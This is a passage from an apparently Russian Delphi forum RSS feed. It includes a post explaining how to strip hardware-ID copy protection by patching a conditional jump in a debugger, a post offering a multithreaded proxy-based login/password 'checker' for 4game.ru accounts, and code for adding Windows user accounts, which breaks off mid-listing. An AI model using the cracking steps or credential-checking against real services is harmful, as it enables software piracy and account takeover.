style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; procedure TForm1.FormCreate(Sender: TObject&amp;#41;; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;pegging(&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; в итоге если мы запустим программу на другом компьютере она завершится &lt;br /&gt; но не все так хорошо насколько кажется, ведь если сделать такую привязку в реальном программном продукте, то привязку очень быстро уберут &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt; &lt;br /&gt; если мы откроем наш ехе файл дэбагерром(например OllyDbg) , то сможем легко найти импорт функции TerminateProcess и увидить где он вызывается &lt;br /&gt;&lt;br /&gt; &lt;!--IMG3--&gt;&lt;a href=&quot;https://delfcode.ru/_fr/9/8982221.png&quot; class=&quot;ulightbox&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;https://delfcode.ru/_fr/9/s8982221.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG3--&gt; &lt;br /&gt;&lt;br /&gt; дальше если взглянуть выше по коду будет видно прыжок, а точнее условный переход на вызов TerminateProcess &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; CMP EBX,DWORD PTR SS:&amp;#91;EBP-4] &lt;br /&gt; JE SHORT crack.00453882 &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt; сразу становится понятно что это сравнение нашего ключа с ключем на локальной систем, если ключ подходит, то продолжается выполнение программы, если же нет, то программа завершается &lt;br /&gt; прыжок происходит командой JE , для того что бы убрать привязку достаточно лишь изменить условие перехода на обратное, а т.е JE поменять на JNZ(или JNE) &lt;br /&gt;&lt;br /&gt; &lt;!--IMG4--&gt;&lt;a href=&quot;https://delfcode.ru/_fr/9/5426263.png&quot; class=&quot;ulightbox&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;https://delfcode.ru/_fr/9/s5426263.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG4--&gt; &lt;br /&gt;&lt;br /&gt; для того что бы усложнить поиск нужного участка кода, который отвечает за проверку на HardID можно избавится от вызова TerminateProcess, например &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; procedure pegging(&amp;#41;; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;myID:DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;VSNum, dw1, dw2: DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;szTemp: array&amp;#91;0..MAX_PATH] of char; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;myID := $003C7FD822; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetWindowsDirectory(szTemp,MAX_PATH&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetVolumeInformation(PAnsiChar(szTemp&amp;#91;0]+&apos;:&amp;#92;&apos;&amp;#41;, nil, 0, @VSNum, dw1, dw2, nil, 0&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;asm &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov eax,myID &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov ebx,dw2 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sub eax,VSNum &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push offset @metka &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;add esp,eax &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ret &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@metka: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; в данном примере отсутствует даже сравнение как таковое, здесь все происходит так,в регистр eax записывается ID с которым нужно сравнивать(айди компьютера на котором программа должна запустится) &lt;br /&gt; в регист ebx заносится ID локального компьютера &lt;br /&gt; дальше считается разница между eax b ebx (между первым и вторым ID) , и результат записывается в eax, в итоге если первый и второй ID равны то в eax окажется ноль, иначе какое то число &lt;br /&gt; дальше в стек заносится адрес метки завершения привязки и к регистру esp добавляется значение регистра eax, и получается если eax не равен нулю то работа программы будет нарушена, и дальше при выполнении команды ret программа вызовет исключение, ошибку, а если в eax будет 0 то программа как работала так и будет работать &lt;br /&gt; в данном коде можно даже убрать все что идет после add esp,eax , и привязка все равно будет работать &lt;br /&gt;&lt;br /&gt; такую привязку будет чу чуть сложнее найти и вылечить, но все равно возможно, для большего усложнения ее обнаружения можно убрать GetVolumeInformation из импортов и сделать поиск адреса функции через GetProcAddr &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt; &lt;br /&gt; но все равно это не даст надежной защиты и программу можно будет взломать в течении пары часов &lt;br /&gt; по моему самым лучшим способом привязать программу это совместить привязку и крипт, что бы для того что бы найти код привязки его и весь остальной код программы нужно было бы еще расшифровать, а этот процесс достаточно долгий для пошагового выполнения вручную &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt;</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>C@T</dc:creator>
<guid>https://delfcode.ru/forum/9-934-1</guid>
</item>
<item>
<title>Метод вращений для решения СЛАУ</title>
<link>https://delfcode.ru/forum/9-770-1</link>
<pubDate>Mon, 19 Nov 2012 05:04:22 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Решение СЛАУ&lt;br /&gt;Автор темы: Freeze&lt;br /&gt;Автор последнего сообщения: antbert&lt;br /&gt;Количество ответов: 4</description>
<content:encoded>Привет! Выкладываю, собственно, метод на делфях. Суть метода, как и в методе Гаусса, сначала приводим систему к треугольному виду, затем с помощью обратного хода Гаусса находим неизвестные. Метод описан в файле (прикрепил). Кому понадобится. &lt;img src=&quot;http://s5.ucoz.net/sm/23/cool.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;cool&quot; /&gt;</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>Freeze</dc:creator>
<guid>https://delfcode.ru/forum/9-770-1</guid>
</item>
<item>
<title>Меняем аттрибуты файлов</title>
<link>https://delfcode.ru/forum/9-778-1</link>
<pubDate>Mon, 08 Oct 2012 10:46:28 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Скрытый, системный...&lt;br /&gt;Автор темы: Freeze&lt;br /&gt;Автор последнего сообщения: GReIIIHuK&lt;br /&gt;Количество ответов: 9</description>
<content:encoded>Раньше сталкивался с такой штукой: какой-нить вирус на флешке сделает файлы невидимыми, да к тому же системными. Попробуешь сделать выдимыми, но нет, они же системные (нельзя менять аттрибуты). В общем нашел где-то в глубинах тернета прогу, правда косячную, немного подправил. Работает так: указываете файл или папку, программа отображает текущие аттрибуты, которые можно сразу изменить (включая &quot;системный&quot;). Более подробное описание можно отыскать в архиве с исходником в файле &quot;readme.txt&quot; (: &lt;br /&gt; Строго не судите &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt; &lt;br /&gt; &lt;!--IMG1--&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;https://delfcode.ru/_fr/7/3555956.jpg&quot; align=&quot;&quot; /&gt;&lt;!--IMG1--&gt;</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>Freeze</dc:creator>
<guid>https://delfcode.ru/forum/9-778-1</guid>
</item>
<item>
<title>Повозможности</title>
<link>https://delfcode.ru/forum/9-859-1</link>
<pubDate>Wed, 03 Oct 2012 06:23:10 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Пример На Delphi&lt;br /&gt;Автор темы: Born&lt;br /&gt;Автор последнего сообщения: Born&lt;br /&gt;Количество ответов: 4</description>
<content:encoded>Здравствуйте!!!дайте пожалуйста пример на Delphi,как спрятать фаил)и затем вернуть его назад.</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>Born</dc:creator>
<guid>https://delfcode.ru/forum/9-859-1</guid>
</item>
<item>
<title>AID антивирус</title>
<link>https://delfcode.ru/forum/9-819-1</link>
<pubDate>Tue, 31 Jul 2012 02:22:27 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Исходник на Делфи&lt;br /&gt;Автор темы: annakin&lt;br /&gt;Автор последнего сообщения: cool1&lt;br /&gt;Количество ответов: 1</description>
<content:encoded>Виды сканирования: &lt;br /&gt; MD5 файла - Применяется для детектирования троянов, &lt;br /&gt; червей и прочих вредоносных объектов не заражающих &lt;br /&gt; напрямую файлы. &lt;br /&gt;&lt;br /&gt; HEX Сигнатура - Применяется для детектирования вирусов &lt;br /&gt; вписывающих свое тело в файл. &lt;br /&gt;&lt;br /&gt; Byte Sign - Тоже что и HEX Сигнатура только поиск происходит &lt;br /&gt; в определенной позиции файла. &lt;br /&gt;&lt;br /&gt; Дополнительно: &lt;br /&gt;&lt;br /&gt; Среди преимуществ можно отметить высокую скорость сканироания и загрузку CPU: 20 - 70 %. &lt;br /&gt;&lt;br /&gt; Архив содержит несколько исходников для Delphi 7 &lt;br /&gt;&lt;br /&gt; &lt;a class=&quot;link&quot; target=&quot;_blank&quot; href=&quot;https://delfcode.ru/load/iskhodniki_delphi/sistemnye/antivirus/48-1-0-490&quot; rel=&quot;nofollow&quot;&gt;https://delfcode.ru/load....1-0-490&lt;/a&gt;</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>annakin</dc:creator>
<guid>https://delfcode.ru/forum/9-819-1</guid>
</item>
<item>
<title>Чеккер аккаунтов 4Game</title>
<link>https://delfcode.ru/forum/9-777-1</link>
<pubDate>Thu, 14 Jun 2012 03:50:31 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Веб-приложения&lt;br /&gt;Автор темы: Freeze&lt;br /&gt;Автор последнего сообщения: Freeze&lt;br /&gt;Количество ответов: 5</description>
<content:encoded>ПривеТ! Как-то писал чеккер, а улучшить функциональность никак руки не доходят) Вот может кого заинтересует &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt; Делал в Делфи 2007. &lt;br /&gt; Теперь немного о главном. Чеккер - программа, которая проверяет подходят ли логин и пароль к сайту. Сделал многопоточность, работает с проксями (прокси обычно беру с hideme.ru). Чекать можно как отдельную пару - логин, пароль (в одном потоке), так и подгружать файл со списком логинов и паролей (несколько потоков - по желанию). В архиве помимо файлов проекта лежат 2 библиотеки: libeay32.dll и ssleay32.dll - они нужны для работы с SSL (протокол, обеспечивающий безопасную работу с сайтом). Почему нужно работать с SSL? - Потому что сайт работает на данном протоколе (не http, а https://www.4game.ru). Про сам протокол можете спросить у великого Гугла &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt; &lt;br /&gt; Если возникнут проблемы, пишите в тему или в асю: 66655510 &lt;img src=&quot;http://s5.ucoz.net/sm/23/cool.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;cool&quot; /&gt; Всем удачи! (: Freeze&amp;copy; &lt;br /&gt; Файл проекта: &lt;br /&gt; &lt;!--IMG1--&gt;&lt;a href=&quot;https://delfcode.ru/_fr/7/3111716.jpg&quot; class=&quot;ulightbox&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;https://delfcode.ru/_fr/7/s3111716.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG1--&gt;</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>Freeze</dc:creator>
<guid>https://delfcode.ru/forum/9-777-1</guid>
</item>
<item>
<title>Работа с реестром</title>
<link>https://delfcode.ru/forum/9-752-1</link>
<pubDate>Fri, 25 May 2012 18:30:51 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: запись различных ключей&lt;br /&gt;Автор темы: xXxSh@dowxXx&lt;br /&gt;Автор последнего сообщения: xXxSh@dowxXx&lt;br /&gt;Количество ответов: 6</description>
<content:encoded>Доброго времени суток! &lt;br /&gt;&lt;br /&gt; Искал в google разные способы добавления различных ключей в реестр: &lt;br /&gt;&lt;br /&gt; имеется ввиду различные типы ключей, такие как: &lt;br /&gt; REG_SZ; &lt;br /&gt; REG_MULTI_SZ; &lt;br /&gt; REG_DWORD; &lt;br /&gt; REG_EXPAND_SZ; &lt;br /&gt; REG_BINARY; &lt;br /&gt; REG_DWORD_LITTLE_ENDIAN; &lt;br /&gt; REG_DWORD_BIG_ENDIAN; &lt;br /&gt; REG_LINK; &lt;br /&gt; REG_NONE; &lt;br /&gt; REG_RESOURCE_LIST &lt;br /&gt;&lt;br /&gt; но увы, смог найти только пример с добавлением REG_SZ и REG_DWORD вот исходный код: &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; //в uses требуется добавить Registry; &lt;br /&gt; //-= тип ключа REG_SZ =- &lt;br /&gt;&lt;br /&gt; procedure TForm1.Button1Click(Sender: TObject&amp;#41;; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry: TRegistry; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ создаём объект TRegistry } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry := TRegistry.Create; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ устанавливаем корневой ключ; напрмер hkey_local_machine или hkey_current_user } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry.RootKey := hkey_local_machine; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ открываем и создаём ключ } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry.OpenKey(&apos;software&amp;#92;MyRegistryExample&apos;,true&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ записываем значение } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry.WriteString(&apos;KeyName&apos;,&apos;blablabla&apos;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ закрываем и освобождаем ключ } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry.CloseKey; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry.Free; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; //-= тип ключа REG_DWORD =- &lt;br /&gt;&lt;br /&gt; procedure TForm1.Button1Click(Sender: TObject&amp;#41;; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry: TRegistry; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ создаём объект TRegistry } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry := TRegistry.Create; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ устанавливаем корневой ключ; напрмер hkey_local_machine или hkey_current_user } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry.RootKey := hkey_local_machine; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ открываем и создаём ключ } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry.OpenKey(&apos;software&amp;#92;MyRegistryExample&apos;,true&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ записываем значение } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry.WriteInteger(&apos;KeyName&apos;, 1&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ закрываем и освобождаем ключ } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry.CloseKey; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Registry.Free; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; по поводу других типов нашел функции вот тут &lt;a class=&quot;link&quot; href=&quot;http://www.delphisources.ru/pages/faq/base/kol_lesson8.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Функции&lt;/a&gt; &lt;br /&gt; но к сожалению не смог разобраться как их применить... &lt;br /&gt;&lt;br /&gt; Прошу вашей помощи, заранее примного благодарен!</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>xXxSh@dowxXx</dc:creator>
<guid>https://delfcode.ru/forum/9-752-1</guid>
</item>
<item>
<title>Самая маленькая прога</title>
<link>https://delfcode.ru/forum/9-314-1</link>
<pubDate>Sun, 18 Mar 2012 18:02:30 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Самая маленькая прога&lt;br /&gt;Автор темы: C@T&lt;br /&gt;Автор последнего сообщения: teodelfix&lt;br /&gt;Количество ответов: 24</description>
<content:encoded>Предлагаю конкурс в написании самой маленькой проги которая выводит слово hello &lt;p&gt; P.S писать можно на любом языке и использовать любые сжималки ехе</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>C@T</dc:creator>
<guid>https://delfcode.ru/forum/9-314-1</guid>
</item>
<item>
<title>Добавление новой учетной записи в Windows</title>
<link>https://delfcode.ru/forum/9-652-1</link>
<pubDate>Sat, 17 Mar 2012 15:49:10 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: помогите пожалуйста подкорректировать код...&lt;br /&gt;Автор темы: xXxSh@dowxXx&lt;br /&gt;Автор последнего сообщения: xXxSh@dowxXx&lt;br /&gt;Количество ответов: 6</description>
<content:encoded>Доброго времени суток. &lt;br /&gt;&lt;br /&gt; В данной теме я бы хотел обсудить способы программного добавления новой учетной записи пользователя в ОС Windows &lt;br /&gt;&lt;br /&gt; вот некоторые примеры кода: &lt;br /&gt;&lt;br /&gt; здесь мы добавляем новую учетную запись с указанным именем &quot;TestUser&quot; и паролем &quot;123&quot;, но не добавляем нашу новую учетку в какую либо группу, например группу &quot;Администраторы&quot;, так что учетная запись будет создана но ни в какой группе состоять она не будет... &lt;br /&gt; &lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoiler6j9E64&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoiler6j9E64&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler6j9E64&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler6j9E64&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler6j9E64&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoiler6j9E64&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler6j9E64&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler6j9E64&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoiler6j9E64&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt; &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; unit Unit1; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; interface &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; uses &lt;br /&gt; Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, &lt;br /&gt; Dialogs, StdCtrls; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; type &lt;br /&gt; TForm1 = class(TForm&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Button1: TButton; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure Button1Click(Sender: TObject&amp;#41;; &lt;br /&gt; private &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ Private declarations } &lt;br /&gt; public &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ Public declarations } &lt;br /&gt; end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; LPUSER_INFO_2 = ^USER_INFO_2; &lt;br /&gt; {$EXTERNALSYM LPUSER_INFO_2} &lt;br /&gt; PUSER_INFO_2 = ^USER_INFO_2; &lt;br /&gt; {$EXTERNALSYM PUSER_INFO_2} &lt;br /&gt; _USER_INFO_2 = record &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usri2_name: LPWSTR; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usri2_password: LPWSTR; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usri2_password_age: DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usri2_priv: DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usri2_home_dir: LPWSTR; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usri2_comment: LPWSTR; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usri2_flags: DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usri2_script_path: LPWSTR; &lt;br 